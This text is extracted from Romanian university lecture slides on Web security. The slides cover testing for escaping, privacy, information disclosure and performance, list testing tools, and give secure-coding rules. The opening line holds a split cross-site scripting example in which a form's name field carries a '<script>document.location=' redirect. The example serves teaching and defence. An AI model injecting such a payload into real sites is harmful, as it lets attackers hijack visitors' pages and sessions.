Exemplu: afisarea perechii nume prenumein browser cind nume="<script>document.location="si prenume="'un_uri'</script>"

Page 76: Web -  Web security

Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/

TehnologiiTehnologii WebWeb <?xml version=“1.0” ?><curs desc=“…” />

monitorizare & testare

Teste specifice legate de programare:Probleme de escaping

Exemplu: escaping pentru sirul cs/b: cs%2Fb sau cs%%252Fb sau cs%25%32%46b

“Injectare” directa a datelor via URI sauprin intermediul interfetei Web sau printr‐un fisier(upload ilegal) sau folosind un program (e.g., de administrare la distanta a aplicatiei),...

verificarea escaping‐ului via unelte dedicate

Page 77: Web -  Web security

Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/

TehnologiiTehnologii WebWeb <?xml version=“1.0” ?><curs desc=“…” />

monitorizare & testare

Teste specifice legate de programare:Solutii & strategii:

Programare defensiva (defensive programming)Adoptarea standardelor de redactare a codului(enforcing coding standards)

Recurgerea la unitati de testare (testing units)Includerea unui sistem de prevenire, detectare siraportare a erorilor survenite in cod + un sistemde urmarire a bug‐urilor (bug tracking)

Folosirea unui sistem de control al versiunilor

Page 78: Web -  Web security

Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/

TehnologiiTehnologii WebWeb <?xml version=“1.0” ?><curs desc=“…” />

monitorizare & testare

Teste specifice legate de intimitate (privacy):Datele obtinute de la utilizator trebuie tratateca fiind sigure si confidentiale

Ce date vor fi disponibile in cache‐ul clientului?Cookie‐urile vor contine date sensibile,posibil de exploatat de persoane rau‐voitoare?

Programele trebuie sa stipuleze antetul HTTP Cache-control: no-cache?

Se poate adopta si standardul P3P (Platform for Privacy Preferences): www.w3.org/TR/P3P11/

Page 79: Web -  Web security

Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/

TehnologiiTehnologii WebWeb <?xml version=“1.0” ?><curs desc=“…” />

monitorizare & testare

Teste privitoare la integrarea componentelor:Gradul de securitate al unei aplicatii este datde gradul de securitate al celei mai vulnerabilecomponente

Exemplu: neverificarea validitatii identificatoruluide utilizator in cazul unei modificari a unor date, pe baza faptului ca aceasta verificare s‐a efectuat dejala nivelul browser‐ului

Page 80: Web -  Web security

Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/

TehnologiiTehnologii WebWeb <?xml version=“1.0” ?><curs desc=“…” />

monitorizare & testare

Teste privind opacizarea datelor (obfuscation):Datele nu trebuie stocate in locatii predictibileContinutul propriu‐zis al sitului poate conduce la probleme de securitate (information disclosure)

Page 81: Web -  Web security

Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/

TehnologiiTehnologii WebWeb <?xml version=“1.0” ?><curs desc=“…” />

monitorizare & testareBrese referitoare la information disclosure:

Accesarea cimpurilor ascunse ale formularelorConsultarea fisierului robots.txt scanarea fisierelor de configurare sau a directoarelor temporare(e.g., rapoarte ale traficului)

Comentariile din codul‐sursa XHTML, CSS, JavaScriptMesajele de eroare emise de aplicatiile WebFisierele cu extensii incorecte

acces la codul‐sursa al script‐urilor de pe serverVizualizarea continutului directoarelor serveruluiScanarea traficului de retea (in primul rind, URI‐uri)

Page 82: Web -  Web security

Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/

TehnologiiTehnologii WebWeb <?xml version=“1.0” ?><curs desc=“…” />

monitorizare & testare

Teste specifice legate de exploatare:Pregatirea judicioasa a exploatarii in practica(deployment)

Detectarea problemelor de flux (e.g., tratareacorespunzatoare a codurilor HTTP 4xx si 5xx): legaturi “moarte”, acces la resurse autentificate, executia anormala a script‐urilor CGI

Testarea interactiunii cu aplicatia Webprograme simulind vizitatori virtuali

Realizarea testelor de incarcare (load testing)scenarii si interpretarea rezultatelor

Page 83: Web -  Web security

Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/

TehnologiiTehnologii WebWeb <?xml version=“1.0” ?><curs desc=“…” />

monitorizare & testare

Teste referitoare la performanta:Platforma (hardware & software)

Configurare, upgrading, updating, UPS, RAID etc.Serverul Web – configurare, module, suport pentru utilizarea certificatelor digitale,...

Serverul de baze de dateNormalizare, integritate, implementarea celor maibune practici & standarde, strategii de conectivitate(e.g., ODBC, JDBC,...), monitorizarea volumului dedate, tranzactii, sincronizare, politica actualizarilor

Page 84: Web -  Web security

Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/

TehnologiiTehnologii WebWeb <?xml version=“1.0” ?><curs desc=“…” />

monitorizare & testare

Teste referitoare la performanta:Documentele XML

Determinarea oportunitatii (re)folosirii XMLSabloane de proiectare (design patterns)ValidareaAlegerea metodelor de procesare (+optimizari)Filtrarea/transformarea(+optimizari XPath, XSL etc.)

Interogarea (+optimizari XQuery) Detectarea & prevenirea erorilorSecurizarea continutului

Page 85: Web -  Web security

Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/

TehnologiiTehnologii WebWeb <?xml version=“1.0” ?><curs desc=“…” />

monitorizare & testare

Teste referitoare la performanta:Serviciile Web

Testarea functionalitatii – via un client simplu, lansat manual sau automat

Verificarea/validarea raspunsului furnizatTestarea mesajelor SOAP (e.g., via SOAPTest)Probleme specifice: prezenta intermediarilor, rutarea mesajelor SOAP prin domenii de securitate diferite, necesitatea utilizariicertificatelor digitale etc.

Page 86: Web -  Web security

Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/

TehnologiiTehnologii WebWeb <?xml version=“1.0” ?><curs desc=“…” />

monitorizare & testare

Instrumentele de stresare (stressing tools) pot dainformatii privitoare la:

performanta: timp de raspuns, timp de generare a continutului

scalabilitate: memorie ocupata, utilizarea discului, numarul inregistrarilor inserate, accesarea altortipuri de resurse,...

corectitudine: rapoarte privind functionarea eronataa unor componente

lacune de securitate

Page 87: Web -  Web security

Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/

TehnologiiTehnologii WebWeb <?xml version=“1.0” ?><curs desc=“…” />

instrumente (exemple)

Firefox – poate avea instalate extensii de testare(WebDeveloper, Firebug, Selenium) sau pentru schimbarede proxy‐uri (FoxyProxy)

IEWatch& TamperIE – audit pentru MSIEBurp, Paros, WebScarab – suite de testare WebAppScan& WebInspect – scanare de vulnerabilitatiale aplicatiilor Web

OWASP – sit dedicat securitatii aplicatiilorWeb www.owasp.org

Page 88: Web -  Web security

Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/

TehnologiiTehnologii WebWeb <?xml version=“1.0” ?><curs desc=“…” />

de retinut

Securitatea unei aplicatii Web:Trebuie sa ia in consideratie arhitectura, logica

(functionalitatea), codul‐sursa si continutul in ansambluNu vizeaza vulnerabilitatile sistemului de operare

ori ale programelor auxiliare

Vulnerabilitatile unui sit nu sint “celebre”si vor fi independente deseori de securitatea

sistemului pe care este exploatat situl

Page 89: Web -  Web security

Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/

TehnologiiTehnologii WebWeb <?xml version=“1.0” ?><curs desc=“…” />

de retinut

Tipuri de vulnerabilitati specifice: Probleme de autentificareManagementul sesiunilorInjectarea de scripturi (XSS) ori comenzi SQL Expunerea (involuntara) a informatiilor delicate (information disclosure)

Accesul la codul‐sursa orila fisierele de configurare a aplicatiei Web

Managementul nesigur al configuratiei aplicatiei

Page 90: Web -  Web security

Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/

TehnologiiTehnologii WebWeb <?xml version=“1.0” ?><curs desc=“…” />

de retinut

Principii de securitate a aplicatiilor WebSepararea serviciilor – masini diferite pentru server Web, server de aplicatii, de baze de date etc.

Limitarea privilegiilor – la nivel de sistem de fisiere, pentru baze de date, acordarea de permisiuniutilizatorilor sub care ruleaza aplicatiile –e.g., Apache, Tomcat, CGI‐uri etc.

Ascunderea secretelor (e.g., parole, SID‐uri,…)Utilizarea de biblioteci standard, actualizateMentinerea & studierea fisierelor de jurnalizareEfectuarea de teste si ajustari (Web tunning)

Page 91: Web -  Web security

Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/

TehnologiiTehnologii WebWeb <?xml version=“1.0” ?><curs desc=“…” />

de retinut

Reguli/bune practici (Sverre Huseby, 2004):Do not underestimate the power of the dark sideUse POST requests when actions have side effectsIn a server‐side context, there is no such thing as client‐side security

Always generate a new session ID once the user logs inNever pass detailed error messages to the clientIdentify every possible meta‐character to a subsystemWhen possible, pass data separate from control information

Page 92: Web -  Web security

Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/

TehnologiiTehnologii WebWeb <?xml version=“1.0” ?><curs desc=“…” />

de retinut

Reguli/bune practici (Sverre Huseby, 2004):Do not blindly trust the API documentationIdentify all sources of input to the applicationWhen filtering data, use white‐listing rather than black‐listing

Create application‐level logsNever use client‐side scripts for securityPass as little internal state information as possible to the client

Do not assume that requests will come in a certain order

Page 93: Web -  Web security

Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/

TehnologiiTehnologii WebWeb <?xml version=“1.0” ?><curs desc=“…” />

de retinut

Reguli/bune practici (Sverre Huseby, 2004):Filter all data before including them in a web page, no matter what the origin

Stick to existing cryptographic algorithms, do not create your own

Never store clear‐text passwordsAssume that server‐side code is available to attackersSecurity is not a product; it is a process

Page 94: Web -  Web security

Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/

TehnologiiTehnologii WebWeb <?xml version=“1.0” ?><curs desc=“…” />

de retinut

Riscurile de securitate nu vizeaza numaiproprietarul sitului, ci si utilizatorul final 

Disconforturi cauzate de un sit nesigur:financiare (pierdere de bani/informatii)de performanta (e.g., blocarea/incetinirea actiunilor)psihologice (insatisfactie)sociale (e.g., incapacitatea de munca, lipsa comunicarii cu partenerii de lucru etc.)

de timp (navigare greoaie, deturnare spre alt sit,...)

Page 95: Web -  Web security

Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/

TehnologiiTehnologii WebWeb <?xml version=“1.0” ?><curs desc=“…” />

Aspecte privind securitatea datelorAtacuri Web

Prevenirea & supravietuireaMonitorizarea & testarea

De retinut

rezumat

Page 96: Web -  Web security

Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/

TehnologiiTehnologii WebWeb <?xml version=“1.0” ?><curs desc=“…” />

??